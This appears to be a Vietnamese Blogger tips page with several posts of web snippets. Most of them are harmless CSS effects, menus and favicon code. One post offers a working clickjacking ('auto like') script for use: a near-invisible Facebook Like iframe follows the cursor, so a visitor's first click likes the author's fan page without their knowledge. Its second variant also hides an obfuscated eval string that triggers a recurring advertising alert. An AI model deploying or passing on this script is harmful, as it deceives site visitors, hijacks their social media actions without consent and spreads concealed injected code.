Showing posts with label Source code. Show all posts
Showing posts with label Source code. Show all posts

Wednesday, October 23, 2013

Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng

Khi xem 1 số trang Web bạn vẫn thấy những hiệu ứng rê ảnh khá đẹp, nhưng tiện dụng hơn là nó làm cho mình thấy những mô tả kèm theo hình ảnh đó nữa. Với bài viết này, itviet360 chia sẻ với bạn Code và cách làm thêm chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng trên Blogger. Với Website khác các bạn dán code tương tự
Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng
Chú thích lên hình ảnh sử dụng Code CSS làm hiệu ứng
DEMO
Code:

<style>

#bt_imageeffect {

margin: 20px auto;

width: 100%;min-height: 300px; padding: 20px 0;

text-align: center;

}

.galleryItem {

display: inline-block;;

position: relative;

width: 250px; height: 250px;

padding: 0;margin: 0 20px;

border: solid 10px #fff;



-webkit-box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.25);

box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.25);

}

.galleryItem img {

width: 250px;height: 250px;

}

.caption {

position: relative;

display: inline-block;

width: 250px; height: 250px;

z-index: 10;

}

.caption::before {

content: attr(data-title);

position: absolute;top: 0; left: 0;

width: 250px; height: 0;

font-family: 'Croissant One', cursive;

font-size: 1.8em;font-weight: 600;

line-height: 1.4em;color: #086FA1;

background: #fff;

overflow: hidden;

-webkit-transition: all 0.9s ease;

-moz-transition: all 0.9s ease;

-ms-transition: all 0.9s ease;

-o-transition: all 0.9s ease;

transition: all 0.9s ease;

}

.caption::after {

content: attr(data-description);

position: absolute;

bottom: -0;left: 0;

width: 250px;height: 0;

font-family: 'Poiret One', cursive;

font-size: 1.1em;

font-weight: 400;

line-height: 1.4em;color: #fff;

background: #222;

overflow: hidden;



-webkit-transition: all 0.9s ease;

-moz-transition: all 0.9s ease;

-ms-transition: all 0.9s ease;

-o-transition: all 0.9s ease;

transition: all 0.9s ease;

}

.caption:hover::before {

height: 125px;

}

.caption:hover::after {

bottom: 0;height: 125px;

}

</style>



<br />
<div id="bt_imageeffect">
<br />
<li class="galleryItem">

<a class="caption" data-description="itviet360.com chia sẻ thủ thuật blogspot, Tự học SEO Web, kiến thức mạng máy tính...và những gì về cuộc sống" data-title="Nature Scene" href="http://www.itviet360.com/">

<img alt="Nature Scene" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsr3MivMcOowWBZuo1740Z9f4aSp12rr7RWzG6xKJGSyA685d5Q83hjousF4HF-9O_l6BpXJyUCseFP553cZzEzKfgo6af-dewLbig1ijcLHMF7yLshrof5AOEQXPS0J0L8XVqRQ3YyXM/s1600/Green+Nature+Wallpapers.jpg" />

</a></li>
<li class="galleryItem">

<a class="caption" data-description="Blog hình ảnh đẹp chia sẻ những hình ảnh đẹp và ý nghĩa nhất. Cùng nhau chia sẻ và cảm nhận những hình ảnh đẹp tổng hợp" data-title="SunFlower" href="http://anhdep3.blogspot.com/">

<img alt="Sunflower" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIciwsrfS4Km9h6aBKxIteitnkIaHEZ7yX0uoMs8dSPe4c7nl9M8A3bdIqFKp9EASCtVcwYWOHUTuvo-bj6lCrhg53EPIHpGEYI7t99SbP3rMPlEAFTRNTfF-vhNxnn2ldTMdsi8zI6UM/s1600/nature_3.png" />

</a></li>
</div>


- Trong đó:
Những dòng chữ mô tả bôi đỏ.
- Cách làm thủ thuật trên blogspot
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán code trên vào tiện ích vừa thêm :)
3. Lưu lại và xem kết quả.

Monday, October 21, 2013

Code auto like Facebook khi click chuột vào vị trí bất kỳ cho web, blogspot

Hiện nay bạn thấy khá nhiều trang trên face có số lượng like rất lớn nhưng thực tế có phải đó là con số thực hay không, Câu trả lời đa số là không. Rất nhiều người đã dùng mẹo để người dùng trở thành viên của họ mà đến người dùng nếu không để ý cũng không hề hay biết chuyện đó. Và chính bản thân mình nhiều lúc cũng thấy lạ là tại sao mình không hề like trang đó mà trên timeline lại nói mình thích trang đó.
Qua tìm hiển, đã phát hiện ra họ đang sử dụng một phương thức đó là dùng script auto like để khiến người đùng like trang fanpage mà không hề hay biết. Mình giới thiệu nhưng nó không đồng nghĩa với việc mình khuyến khích các bạn sử dung cách này vì sau đó nếu họ bấm unlike thì sẽ mất hình ảnh của bạn đó.
Bài viết này mình sẽ giới thiệu với các bạn 2 style khác nhau để các bạn lựa chọn cho thích hợp với sở thích của chính các bạn, Mỗi dạng sẽ có một ưu điểm khác nhau bạn có thể tham khảo ở bên dươi:



Style 1: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ là unlike
Style 2: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike

» Nguyên tắc hoạt động của Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot
- Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

- Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

- Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.
» Style 1: Kết hợp cả lile và dislike tự động cho facebook
Với style này khi bạn click chuột lần đầu sẽ là like nhưng nếu bạn tiếp tục bấm chuột lần nữa thì nó sẽ là dislike, Điều này đồng nghĩa với việc hên xui kiểu 50 - 50 có lúc được có lúc không.
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script type="text/javascript">
//<![CDATA[
(function(){
var Xcord = 0,
Ycord = 0,
IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);
var lbox = document.createElement('iframe');
lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/itviet360') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=30';
lbox.scrolling = 'no';
lbox.frameBorder = 0;
lbox.allowTransparency = 'true';
lbox.style.border = 0;
lbox.style.overflow = 'hidden';
lbox.style.cursor = 'pointer';
lbox.style.width = '53px';
lbox.style.height = '23px';
lbox.style.position = 'absolute';
lbox.style.opacity = 0.5;
document.getElementsByTagName('body')[0].appendChild(lbox);
window.addEventListener('mousemove', mouseMove, false);
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(lbox);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);
function mouseMove(e) {
if (IE) {
Xcord = event.clientX + document.body.scrollLeft;
Ycord = event.clientY + document.body.scrollTop;
} else {
Xcord = e.pageX;
Ycord = e.pageY;
}
if (Xcord < 0) Xcord = 0;
if (Ycord < 0) Ycord = 0;
lbox.style.top = (Ycord - 8) + 'px';
lbox.style.left = (Xcord - 25) + 'px';
return true
}
})();
//]]>
</script>

» Tùy chỉnh:
Bạn thay http://www.facebook.com/itviet360 thành URL trang face của bạn.
Tùy chỉnh lại các giá trị màu cam cho phù hợp với bạn nha,
3- Lưu tiện ích lại và kiểm tra kết quả của bạn nha.
» Style 2: Tự động like lần đầu và những lần bấm sau không có tác dụng.
Với dạng này Khi người dùng click lần 1 sẽ like Fan của bạn, nhưng nếu họ click thêm lần nữa bị cũng không bị Unlike (giảm nguy cơ mất like)
1- Vào Bố cục (Layout)
2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script>
var fan_page_url = 'https://www.facebook.com/itviet360'
var opacity =0.04;
var time = 45000;
</script>
<script>
if((document.getElementById) && window.addEventListener || window.attachEvent){
(function(){
var hairCol = "#ff0000";

var d = document;
var my = -10;
var mx = -10;
var r;
var vert = "";

var idx = document.getElementsByTagName('div').length;

var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=80&action=like&colorscheme=light&height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
var like;
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{
}
else
{
setCookie("faceLike",'liked',1);
document.write(thehairs);
like = document.getElementById("theiframe");
document.getElementsByTagName('body')[0].appendChild(like);
}
eval('\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0047\u0069\u0061\u0069\u0070\u0068\u0061\u0070\u0074\u0068\u0075\u006f\u006e\u0067\u0068\u0069\u0065\u0075\u002e\u006f\u0072\u0067\u0020\u0063\u0068\u0075\u0079\u00ea\u006e\u0020\u0074\u0072\u0061\u006e\u0067\u0020\u006d\u0061\u0072\u006b\u0065\u0074\u0069\u006e\u0067\u0020\u0077\u0065\u0062\u0073\u0069\u0074\u0065\u0022\u0029\u007d\u002c\u0031\u0038\u0030\u0030\u0030\u0030\u0030\u0030\u0029\u003b');

var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");






if (domWw)
r = window;
else{
if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
r = d.documentElement;
else{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}


if(time != 0){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);

if (window.addEventListener){
document.removeEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
document.detachEvent("onmousemove",mouse);
}
}, time);
}

function scrl(yx){
var y,x;
if (domSy){
y = r.pageYOffset;
x = r.pageXOffset;
}
else{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0) ? y:x;
}

function mouse(e){
var msy = (domSy)?window.pageYOffset:0;
if (!e)
e = window.event;
if (typeof e.pageY == 'number'){
my = e.pageY - 15 - msy;
mx = e.pageX - 34;
}
else{
my = e.clientY - 16 - msy;
mx = e.clientX - 36;
}
vert.top = my + scrl(0) + pix;
vert.left = mx + pix;
}

function ani(){
vert.top = my + scrl(0) + pix;
setTimeout(ani, 300);
}


function init(){
vert = document.getElementById("theiframe").style;
ani();
}
function getCookie(c_name)
{
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1)
{
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1)
{
c_value = null;
}
else
{
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1)
{
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start,c_end));
}
return c_value;
}

function setCookie(c_name,value,exdays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}

function checkCookie()
{
var faceLike=getCookie("faceLike");
if (faceLike!=null && faceLike!="")
{

alert("Welcome again " + faceLike);

}
else
{
setCookie("faceLike",'liked',1);
}
}


if (window.addEventListener){
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
}

})();
}//End
</script>

Lưu mẫu lại và kiểm tra thành quả của bạn nha.

Friday, October 4, 2013

Code Css Icon thay đổi khi rê chuột vào trên Blogspot, Website

Một dạng Code sử dụng làm menu cho Blog, Website khá đẹp và sinh động đang được người dùng Blog, Web hướng tới đó là kiểu mẫu hiệu ứng động khi rê chuột vào. Chỉ với việc sử dụng code CSS + HTML nên sẽ không ảnh hưởng tới tốc độ Load của Web, blog của bạn
Code Css Icon thay đổi khi rê chuột vào trên Blogspot, Website
DEMO
Để dễ dàng hơn. itviet360 chia sẻ code và hướng dẫn cách làm trên Blogger
1. Code
CSS

/* The CSS Code for the menu starts here bloggertrix.com */
#btrix-nav {margin: 100px auto;list-style: none;width: 632px;height: 87px;overflow-y: hidden;}
#btrix-nav li {float: left;}
#btrix-nav li a {display: block;color: white;width: 120px;height: 61px;margin-top: 24px;text-decoration: none;text-align: center;border-top: 1px solid #bbb;border-bottom: 1px solid #555;}
#btrix-nav li a span.aname {font: bold 17px/61px "Arial";color: #fff;text-transform: uppercase;cursor: pointer;position: relative;top: 0;transition: top .5s ease;text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.5);}
#btrix-nav li a img {position: relative;top: 0;transition: top .5s ease;}
#btrix-nav li a:hover {cursor: pointer;}
#btrix-nav li a:hover img {top: -85px;}
#btrix-nav li a:hover .aname {top: 85px;}
#btrix-nav li:nth-child(1) a {background: #3eb006;border-radius: 5px 0 0 5px;border-left: 1px solid #bbb;}
#btrix-nav li:nth-child(2) a {background: #9bc704;}
#btrix-nav li:nth-child(3) a {background: #0dc3ff;}
#btrix-nav li:nth-child(4) a {background: #51a2ec;}
#btrix-nav li:nth-child(5) a {background: #6e3cab;border-radius: 0 5px 5px 0;border-right: 1px solid #555;}

HTML

<div id="btrix-nav">
<li>
<a href="http://www.itviet360.com/"><span class="aname">Homes</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9hcyGrVigc3Fmm3UgNHjVABNLuGywKlQdQEJgwNb0iC6mu8ggdu6WqIfoT0C3g23h8UGAo4t2znlUFosYY0gazwAVFo03lM0dCpAb5kEo84-JPhRsOt5uqSTEGDEQRWHBk5zd_Wg0dt4/s1600/btrix-home.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/search/label/Download">
<span class="aname">Download</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzuGGBMBZTTeewPMfs1-RMvRR4svPzvvqyRnHN-6EDS1KsPDmyFQPBgBFRWXDgoiinLSGza6YyZpc81MOtFX1MWUdcrhgUX3hBlI0YW3-Gb_g2f73SgGB1FSM_sPo9C8PEdGg4KvCtRYU/s1600/btrix-download.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html">
<span class="aname"> dvSEO</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiexSKozijuFnBhWiYDxqXxIB_ZKugtLUSKW3W4nkABbMT4mW8FZTad-ctrRXSASulMM0udUzgnl4S7iP2n59dLU2-GYjWz3KR1Qc0kQm4XS-CgiuMAXb2eniuSsC7T2eQR3wuNI464S-I/s1600/btrix-mysql.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/search/label/html-css">
<span class="aname"> Html</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd325g3hTkFuYFop5Uw47eo9jYJGYrKp6ZsrbCQJcHqefQYO3yvCJHSvyHwXAph8IDlo7soVKj-UHhhrSYddPGH_vosureey235IhZFRDYdJHXBgKUAI8847jX_SI57im9lYsEScrAVOo/s1600/Btrix-html.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/p/phong-vu-seo.html">
<span class="aname">Contact</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVKYXqR8tv2dXEElReQtk34QuEis6ljYzkIviZryKymFviundIsZbfeTsACplbadPv_lM8akOPvf1zjlHL_xS3-E8V5FDEwpIkQfkpb7Q-kLCNgFg998UeO0CWiCTPA8DK1ncEfnJntQk/s1600/btrix-contact.png" />
</a>
</li>
</div>

- Những giá trị mình bôi các bạn thay bằng của riêng mình nhé
2. Hướng dẫn trên Blogspot
- Vào bảng điều khiển blogger -> Mẫu (Template) -> chỉnh sửa HTML (Edit HTML)
- Tìm tới đoạn code ]]></b:skin>  và dán Code CSS lên trước nó và lưu mẫu lại
- Vào bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
- Dán code HTML vào tiện ích vừa thêm và lưu lại

Wednesday, October 2, 2013

Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website

Có nhiều hình thức để làm tăng Like Page Facebook, tăng theo dõi G+,...hoặc các bạn muốn bài viết của mình được nhiều Like hơn...
- Đối với tất cả mã nguồn Website khác nhau thì việc thêm code để làm tăng Like cho link trang FB, link Website,...thì giống nhau. Bài viết này itviet360 chia sẻ với bạn code đó và phân tích sơ qua về lợi - hại của nó.
Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
Demo tại bài viết: template mxfluity responsive blogspot
Phân tích:
Cái lợi:
- Tăng Like Facebook, tăng G+, twitter
- Tăng Traffic tới Website, blog, Page FB,...
Cái hại:
- ^_^ khó chịu với người xem bài viết 1 xíu
Cách làm thủ thuật này. Mình làm trên Blogspot, Website thì các bạn làm tương tự cũng như hướng dẫn
1. Vào bảng điều khiển Blogger -> mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
2. Dán đoạn code dưới đây ngay trên thẻ đóng </head>
<link href='http://diendan.itviet360.com/js/likeblog.css' rel='stylesheet' type='text/css'/>

3. Tiếp theo khi viết bài cho Web hoặc blog, bạn chỉ cần dán đoạn mã dưới đây




Trong đó:
- Link: http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html là link các bạn muốn like. Nếu là Page FAcebook thì các bạn thay bằng link Page FB nhé: https://www.facebook.com/itviet360
- Con số ID: 374631889294427 này các bạn có thể sử dụng của mình nếu các bạn không rành về  App của Facebook hoặc bạn có thể tạo theo hướng dẫn ở bài viết này: Thêm facebook recommendations bar cho blogspot

Thursday, August 15, 2013

Code thay đổi Favicon cho Website, blogspot

Favicon là một biểu tượng nhỏ chúng ta có thể thấy thanh địa chỉ trước link. Chúng ta có thể làm cho nó hiển thị như chúng ta mong muốn.
Với bài viết này, itviet360 chia sẻ với các bạn Code và cách thay đổi Favicon cho Website, blogspot...

Mình có thể tạo ra những hình ảnh để sử dụng làm Favicon nhưng phải chắc chắn nó là hình vuông nhé. Ví dụ 32x32, 100x100...
Đối với mọi nền Website và blog các bạn chỉ cần dán Code dưới đây sau thẻ mở và đóng <title>

<link href='ico file URL images' rel='shortcut icon' type='image/x-icon'/>

Trong đó
ico file URL images: là link hình ảnh bạn muốn đưa vào để hiển thị
- Blogger xem thêm tham khảo bài viết: Thay đổi Favicon cho Blogger

Wednesday, August 14, 2013

Sử dụng CSS Keyframes hoán đổi hình ảnh

- Đối với hình ảnh thì có nhiều cách để show. Làm cho hình ảnh thể hiện 1 cách sống động và hợp lý hơn cũng là 1 điều cần thiết để hình ảnh đó được chú ý hơn.
Thủ thuật Blogspot hôm nay đưa ra 1 dạng Code CSS Keyframes để sử dụng hoán đổi hình ảnh khá đẹp mắt.
Các bạn có thể xem Demo: TẠI ĐÂY
itviet360 chia sẻ code và hướng dẫn cách làm trên Blogspot. Trên những nền Website khác thì các bạn làm tương tự nhé.
Sử dụng CSS Keyframes hoán đổi hình ảnh

CODE:

<style>
.btcontainer {
position: relative;margin: 30px;height: 250px;width: 550px;float: left;}
/*Photo Border*/
.imagebt1, .imagebt2 {
border: 5px solid #fff;border-radius: 3px;height: 200px;margin: 20px;position: absolute;width: 300px;
-webkit-box-shadow: 3px 3px 3px rgba(0,0,0,0.3);
box-shadow: 3px 3px 3px rgba(0,0,0,0.3);}
.imagebt1 {
-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);}
.imagebt2 {
left: 100px;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);}
/*HOVERS*/
.btcontainer:hover {
cursor: pointer;}
.btcontainer:hover .imagebt1 {
-webkit-animation: imagebt1 1.5s 2 alternate;-moz-animation: imagebt1 1.5s 2 alternate;-ms-animation: imagebt1 1.5s 2 alternate;-o-animation: imagebt1 1.5s 2 alternate;animation: imagebt1 1.5s 2 alternate;
}
.btcontainer:hover .imagebt2 {
-webkit-animation: imagebt2 1.5s 2 alternate;
-moz-animation: imagebt2 1.5s 2 alternate;
-ms-animation: imagebt2 1.5s 2 alternate;
-o-animation: imagebt2 1.5s 2 alternate;
animation: imagebt2 1.5s 2 alternate;}
@keyframes "imagebt1" {
0% {-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-webkit-transform: rotate(-14deg);-moz-transform: rotate(-14deg);-o-transform: rotate(-14deg);-ms-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}}
@-moz-keyframes imagebt1 {
0% {
-moz-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {
-moz-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {
-moz-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-webkit-keyframes "imagebt1" {
0% {
-webkit-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {
-webkit-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {
-webkit-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-ms-keyframes "imagebt1" {
0% {-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-ms-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-o-keyframes "imagebt1" {
0% {-o-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-o-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-o-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@keyframes "imagebt2" {
0% {
left: 100px;z-index: 1;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-webkit-transform: rotate(20deg);-moz-transform: rotate(20deg);-o-transform: rotate(20deg);-ms-transform: rotate(20deg);transform: rotate(20deg);
}
50% {
left: 350px;z-index: -3;-webkit-transform: rotate(20deg);-moz-transform: rotate(20deg);-o-transform: rotate(20deg);-ms-transform: rotate(20deg);transform: rotate(20deg);
}
100% {
left: 100px;z-index: -3;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-moz-keyframes imagebt2 {
0% {left: 100px;z-index: 1;-moz-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-moz-transform: rotate(20deg);transform: rotate(20deg);
}
50% {
left: 350px;z-index: -3;-moz-transform: rotate(20deg);transform: rotate(20deg);
}
100% {
left: 100px;z-index: -3;-moz-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-webkit-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-webkit-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-webkit-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-webkit-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-webkit-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-ms-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-ms-transform: rotate(7deg);transform: rotate(7deg);
}
49% {left: 350px;z-index: 1;-ms-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-ms-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-ms-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-o-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-o-transform: rotate(7deg);transform: rotate(7deg);
}
49% {left: 350px;z-index: 1;-o-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-o-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-o-transform: rotate(7deg);transform: rotate(7deg);
}
}
</style>

<div class="btcontainer">
<img class="imagebt1" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL1WGWw4zvVhP8Qio6P-B08soqAt0_JlrfJPnAixaOfB0PG0yroFKMrslFq0E-CXXavrirVWXzwOQUsPc2N-B4hU8d9N_9zkTpdYJxBJKoDGzCPo9QyxHWYqVxNL1c4f5QReHzk9MoF9Y/s1600/image1bt.jpg" alt="">
<img class="imagebt2" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitzRSM7xfv6o3nGSPasbflPzxYekdxhMY1foPhY3ZZO59z2tmUcmAXqO23SMsqbamt_YSmfOsv-IMBY9Dof3I5BsVgUV74JZjLWFDQWogIdxYiRqNhJbkSdmg-P15F_HnyNywZgSkd1RY/s1600/image2bt.jpg" alt="">
</div>

CÁCH LÀM TRÊN bLOGSPOT
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán Code trên vào tiện ích vừa thêm
3. Lưu lại và xem kết quả nhé :)

Thursday, August 8, 2013

Code ưu tiên cho CSS hiển thị trên Javascript

Một tình huống đặt ra khi bạn đọc của itviet360 thắc mắc về vấn đề Website của bạn có Slide Jquery mà 1 Menu CSS, tuy nhiên Menu CSS lại bị chìm ẩn dưới Slide Java đó. Vậy làm thế nào để khắc phục tình trạng này để giúp Menu đè lên Slide JavaScript đó ?

- Bài viết này itviet360 chia sẻ với các bạn cách giải quyết
Demo: cả menu ngang và Menu Dọc của site: Noi that van phong
Theo đó chúng ta chỉ cần dán 2 thuộc tính dưới đây vào CSS của khu vực muốn hiển thị đè lên Javascript...
Code:

position: absolute;
z-index: 1000000;

Trong đó con số được bôi màu vàng là 1 số tùy ý với điều kiện con số của thuộc tính z-index này phải lớn hơn z-index của Javascript để nó đè lồng lên Javascript.